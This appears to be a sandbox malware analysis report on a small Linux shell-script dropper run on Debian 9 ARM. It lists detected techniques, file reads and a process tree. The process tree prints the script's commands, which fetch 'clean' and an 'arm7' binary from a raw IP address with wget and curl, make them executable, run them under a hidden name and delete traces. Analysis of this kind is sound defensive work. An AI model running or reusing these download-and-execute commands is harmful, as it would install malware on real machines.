917fcc9131c6e9ca16264a85afc62532297bb39eb9d37765dad536c7c8c7735c

Analysis

max time kernel
38s
max time network
40s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
03/10/2026, 12:27

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
sh
Size 2KB
Sample261003-pmv5vayclf
SHA256 917fcc9131c6e9ca16264a85afc62532297bb39eb9d37765dad536c7c8c7735c
MD5 8c34ff72c7eed017b8c25471ce5a8cad
SHA1 da559e617baef168e24e7befe99b61d889a62c5d
SHA512 2875bbe6fb5e0e83675a9ba767cfd2750600c5b4892d497c8e8a1ce74c7b44490754c3179ef3e64d5ab23523d073dd86dcd7ef62fcdb4128b6126cb2253d7ec6
TLSH
T17141E2BBB4B18E30335DC4B9B4866948B7579A6F44266E74F047743C36BC324B1743A5
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
784	chmod
811	chmod

Enumerates running processes
Discovers information about currently running processes on the system

Reads network interface configuration 2 TTPs 6 IoCs

Fetches information about one or more active network interfaces.

discovery

System Network Configuration Discovery

T1016

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/sys/devices/virtual/net/lo/statistics	find
File opened for reading	/sys/devices/virtual/net/lo/power	find
File opened for reading	/sys/devices/virtual/net/lo/queues	find
File opened for reading	/sys/devices/virtual/net/lo/queues/tx-0	find
File opened for reading	/sys/devices/virtual/net/lo/queues/tx-0/byte_queue_limits	find
File opened for reading	/sys/devices/virtual/net/lo/queues/rx-0	find

Checks CPU configuration 1 TTPs 2 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads CPU attributes 1 TTPs 7 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/cpu0	find
File opened for reading	/sys/devices/system/cpu/cpu0/power	find
File opened for reading	/sys/devices/system/cpu/cpu0/hotplug	find
File opened for reading	/sys/devices/system/cpu/cpu0/topology	find
File opened for reading	/sys/devices/system/cpu/power	find
File opened for reading	/sys/devices/system/cpu/hotplug	find
File opened for reading	/sys/devices/system/cpu/cpufreq	find

Enumerates kernel/hardware configuration 1 TTPs 64 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_fchmod	find
File opened for reading	/sys/firmware/devicetree/base/cpus/cpu-map/socket0	find
File opened for reading	/sys/fs/cgroup/devices/system.slice/systemd-update-utmp.service	find
File opened for reading	/sys/fs/cgroup/pids/system.slice/systemd-journald.service	find
File opened for reading	/sys/kernel/debug/tracing/events/compaction/mm_compaction_migratepages	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_mq_notify	find
File opened for reading	/sys/fs/cgroup/systemd/system.slice/systemd-udev-trigger.service	find
File opened for reading	/sys/bus/platform/drivers/omap-cpufreq	find
File opened for reading	/sys/module/crc32c_generic	find
File opened for reading	/sys/kernel/debug/tracing/events/spi/spi_transfer_start	find
File opened for reading	/sys/kernel/debug/tracing/events/block/block_dirty_buffer	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_fdatasync	find
File opened for reading	/sys/devices/virtual/tty/tty18/power	find
File opened for reading	/sys/fs/cgroup/systemd/user.slice	find
File opened for reading	/sys/kernel/debug/tracing/instances	find
File opened for reading	/sys/kernel/debug/opp	find
File opened for reading	/sys/devices/platform/gpio-keys	find
File opened for reading	/sys/devices/virtual/tty/tty40	find
File opened for reading	/sys/module/module/parameters	find
File opened for reading	/sys/module/workqueue/parameters	find
File opened for reading	/sys/kernel/debug/tracing/events/ext4/ext4_insert_range	find
File opened for reading	/sys/kernel/debug/tracing/events/v4l2	find
File opened for reading	/sys/kernel/debug/tracing/events/block/block_touch_buffer	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_open	find
File opened for reading	/sys/kernel/debug/tracing/events/kvm/kvm_fpu	find
File opened for reading	/sys/devices/platform/a003600.virtio_mmio/power	find
File opened for reading	/sys/devices/virtual/tty/tty1/power	find
File opened for reading	/sys/class/iommu	find
File opened for reading	/sys/kernel/debug/tracing/events/ext4/ext4_releasepage	find
File opened for reading	/sys/devices/system/container	find
File opened for reading	/sys/devices/virtual/tty/tty47	find
File opened for reading	/sys/devices/virtual/input/mice/power	find
File opened for reading	/sys/firmware	find
File opened for reading	/sys/module/stahp	find
File opened for reading	/sys/kernel/irq/20	find
File opened for reading	/sys/kernel/debug/tracing/events/v4l2/vb2_v4l2_buf_done	find
File opened for reading	/sys/kernel/debug/tracing/events/workqueue/workqueue_execute_start	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_truncate64	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_creat	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_sigprocmask	find
File opened for reading	/sys/devices/virtual/tty/tty54	find
File opened for reading	/sys/devices/virtual/bdi	find
File opened for reading	/sys/kernel/debug/tracing/events/filemap/mm_filemap_delete_from_page_cache	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_utimes	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_sigpending	find
File opened for reading	/sys/firmware/devicetree/base/fw-cfg@9020000	find
File opened for reading	/sys/bus/pci/drivers/serial	find
File opened for reading	/sys/bus/i2c	find
File opened for reading	/sys/module/rcupdate/parameters	find
File opened for reading	/sys/module/arm_smmu/parameters	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_chroot	find
File opened for reading	/sys/devices/platform/9030000.pl061/power	find
File opened for reading	/sys/module/virtio_net	find
File opened for reading	/sys/module/tea5761/parameters	find
File opened for reading	/sys/devices/platform/serial8250/tty/ttyS2/power	find
File opened for reading	/sys/devices/virtual/tty/tty55/power	find
File opened for reading	/sys/kernel/debug/tracing/events/ext4/ext4_da_update_reserve_space	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_io_setup	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_rt_sigqueueinfo	find
File opened for reading	/sys/kernel/debug/tracing/events/ext4/ext4_da_write_pages	find
File opened for reading	/sys/kernel/debug/tracing/events/vmscan/mm_vmscan_direct_reclaim_end	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_sched_getattr	find
File opened for reading	/sys/kernel/debug/tracing/events/kvm/kvm_set_spte_hva	find
File opened for reading	/sys/devices/system/clockevents/clockevent0/power	find

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/14/net/netfilter	find
File opened for reading	/proc/41/task/41/net	find
File opened for reading	/proc/572/task/572/attr	find
File opened for reading	/proc/675/net/stat	find
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/driver	find
File opened for reading	/proc/14	find
File opened for reading	/proc/5	find
File opened for reading	/proc/18/net	find
File opened for reading	/proc/23/net/netfilter	find
File opened for reading	/proc/24/attr	find
File opened for reading	/proc/28/task/28/fdinfo	find
File opened for reading	/proc/112/net	find
File opened for reading	/proc/176/ns	find
File opened for reading	/proc/292/task/292/net/dev_snmp6	find
File opened for reading	/proc/7/net	find
File opened for reading	/proc/tty/driver	find
File opened for reading	/proc/29/task/29/fd	find
File opened for reading	/proc/42/net/stat	find
File opened for reading	/proc/112/task/112/ns	find
File opened for reading	/proc/318/task/318/net/netfilter	find
File opened for reading	/proc/587/task/587/net/stat	find
File opened for reading	/proc/595/task/595/net/dev_snmp6	find
File opened for reading	/proc/6/task/6/fdinfo	find
File opened for reading	/proc/11/task/11/net/stat	find
File opened for reading	/proc/15/attr	find
File opened for reading	/proc/28/task/28/net/netfilter	find
File opened for reading	/proc/595/net/netfilter	find
File opened for reading	/proc/637/task/637/net	find
File opened for reading	/proc/647/task/647/net/netfilter	find
File opened for reading	/proc/647/task/647/attr	find
File opened for reading	/proc/2/attr	find
File opened for reading	/proc/5/task/5/net/stat	find
File opened for reading	/proc/6	find
File opened for reading	/proc/12/task/12/fd	find
File opened for reading	/proc/309/map_files	find
File opened for reading	/proc/587/task/587/attr	find
File opened for reading	/proc/595/map_files	find
File opened for reading	/proc/639/task/639/fdinfo	find
File opened for reading	/proc/20/net/stat	find
File opened for reading	/proc/26/attr	find
File opened for reading	/proc/142/ns	find
File opened for reading	/proc/154/net/dev_snmp6	find
File opened for reading	/proc/176/net/dev_snmp6	find
File opened for reading	/proc/309/net/dev_snmp6	find
File opened for reading	/proc/646/net/netfilter	find
File opened for reading	/proc/647/map_files	find
File opened for reading	/proc/18/task/18/fd	find
File opened for reading	/proc/22/task/22/fd	find
File opened for reading	/proc/28	find
File opened for reading	/proc/143/task/143	find
File opened for reading	/proc/292/net	find
File opened for reading	/proc/329/fd	find
File opened for reading	/proc/594/task/594/fdinfo	find
File opened for reading	/proc/24/fdinfo	find
File opened for reading	/proc/28/fdinfo	find
File opened for reading	/proc/41/ns	find
File opened for reading	/proc/43/fd	find
File opened for reading	/proc/176/net	find
File opened for reading	/proc/309/ns	find
File opened for reading	/proc/646/task	find
File opened for reading	/proc/646/fdinfo	find
File opened for reading	/proc/4/task/4/net/stat	find
File opened for reading	/proc/5/net/stat	find

/tmp/sh
/tmp/sh
1⤵
PID:649
- /bin/findmnt
  findmnt -rn -O noexec -o TARGET
  2⤵
  PID:659
- /usr/bin/whoami
  whoami
  2⤵
  PID:674
- /usr/bin/find
  find / -type d -user root -perm "-u=rwx" -not -path "/tmp/*" -not -path "/proc/*" -not -path /sys -not -path "/sys/*" -not -path /proc -not -path "/proc/*" -not -path /dev -not -path "/dev/*" -not -path /dev/pts -not -path "/dev/pts/*" -not -path /run -not -path "/run/*" -not -path / -not -path "//*" -not -path /sys/kernel/security -not -path "/sys/kernel/security/*" -not -path /dev/shm -not -path "/dev/shm/*" -not -path /run/lock -not -path "/run/lock/*" -not -path /sys/fs/cgroup -not -path "/sys/fs/cgroup/*" -not -path /sys/fs/cgroup/systemd -not -path "/sys/fs/cgroup/systemd/*" -not -path /sys/fs/cgroup/perf_event -not -path "/sys/fs/cgroup/perf_event/*" -not -path "/sys/fs/cgroup/cpu,cpuacct" -not -path "/sys/fs/cgroup/cpu,cpuacct/*" -not -path /sys/fs/cgroup/freezer -not -path "/sys/fs/cgroup/freezer/*" -not -path /sys/fs/cgroup/pids -not -path "/sys/fs/cgroup/pids/*" -not -path /sys/fs/cgroup/devices -not -path "/sys/fs/cgroup/devices/*" -not -path /sys/fs/cgroup/blkio -not -path "/sys/fs/cgroup/blkio/*" -not -path "/sys/fs/cgroup/net_cls,net_prio" -not -path "/sys/fs/cgroup/net_cls,net_prio/*" -not -path /sys/fs/cgroup/memory -not -path "/sys/fs/cgroup/memory/*" -not -path /sys/fs/cgroup/cpuset -not -path "/sys/fs/cgroup/cpuset/*" -not -path /dev/hugepages -not -path "/dev/hugepages/*" -not -path /sys/kernel/debug -not -path "/sys/kernel/debug/*" -not -path /dev/mqueue -not -path "/dev/mqueue/*" -not -path /proc/sys/fs/binfmt_misc -not -path "/proc/sys/fs/binfmt_misc/*" -not -path /run/user/0 -not -path "/run/user/0/*"
  2⤵
  - Reads network interface configuration
  - Reads CPU attributes
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:675
- /bin/uname
  uname -mp
  2⤵
  PID:764
- /usr/bin/tr
  tr -d " "
  2⤵
  PID:769
- /usr/bin/od
  od -An -N2 -i /dev/urandom
  2⤵
  PID:768
- /usr/bin/expr
  expr 18859 "%" 32 + 4
  2⤵
  PID:770
- /usr/bin/tr
  tr -dc A-Za-z0-9
  2⤵
  PID:773
- /usr/bin/head
  head -c 15
  2⤵
  PID:774
- /usr/bin/openssl
  openssl rand -base64 256
  2⤵
  PID:772
- /usr/bin/touch
  touch .testfile
  2⤵
  PID:775
- /bin/dd
  dd "if=/dev/zero" "of=.testfile2" "bs=2M" "count=1"
  2⤵
  PID:777
- /bin/rm
  rm -rf .testfile .testfile2
  2⤵
  PID:778
- /bin/rm
  rm -rf clean
  2⤵
  PID:779
- /usr/bin/wget
  wget --no-check-certificate -q https://217.60.102.5/clean
  2⤵
  PID:780
- /usr/bin/curl
  curl -skO https://217.60.102.5/clean
  2⤵
  - Checks CPU configuration
  PID:783
- /bin/chmod
  chmod +x clean
  2⤵
  - File and Directory Permissions Modification
  PID:784
- /bin/sh
  sh clean
  2⤵
  PID:785
- /bin/rm
  rm -rf clean
  2⤵
  PID:786
- /bin/rm
  rm -rf .redtail
  2⤵
  PID:787
- /bin/rm
  rm -rf .mu1opDYHNse4Bb8
  2⤵
  PID:788
- /bin/grep
  grep -q x86_64
  2⤵
  PID:790
- /bin/grep
  grep -q amd64
  2⤵
  PID:792
- /bin/grep
  grep -q "i[3456]86"
  2⤵
  PID:794
- /bin/grep
  grep -q armv8
  2⤵
  PID:796
- /bin/grep
  grep -q aarch64
  2⤵
  PID:798
- /bin/grep
  grep -q armv7
  2⤵
  PID:800
- /bin/rm
  rm -rf arm7
  2⤵
  PID:801
- /usr/bin/wget
  wget --no-check-certificate -q https://217.60.102.5/arm7
  2⤵
  PID:802
- /usr/bin/curl
  curl -skO https://217.60.102.5/arm7
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:808
- /bin/mv
  mv -f arm7 .mu1opDYHNse4Bb8
  2⤵
  PID:810
- /bin/chmod
  chmod +x .mu1opDYHNse4Bb8
  2⤵
  - File and Directory Permissions Modification
  PID:811
- /lost+found/.mu1opDYHNse4Bb8
  ./.mu1opDYHNse4Bb8
  2⤵
  PID:812

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

System Network Connections Discovery

T1049

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

.testfile2

Path /lost+found/.testfile2
Size 2.0MB
SHA256 5647f05ec18958947d32874eeb788fa396a05d0bab7c1b71f112ceb7e9b31eee
MD5 b2d1236c286a3c0704224fe4105eca49
SHA1 7d76d48d64d7ac5411d714a4bb83f37e3e5b8df6
SHA512 731859029215873fdac1c9f2f8bd25a334abf0f3a9e1b057cf2cacc2826d86b0c26a3fa920a936421401c0471f38857cb53ba905489ea46b185209fdff65b3b6
SSDEEP 3::
MD5 SHA1 SHA512 SSDEEP

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads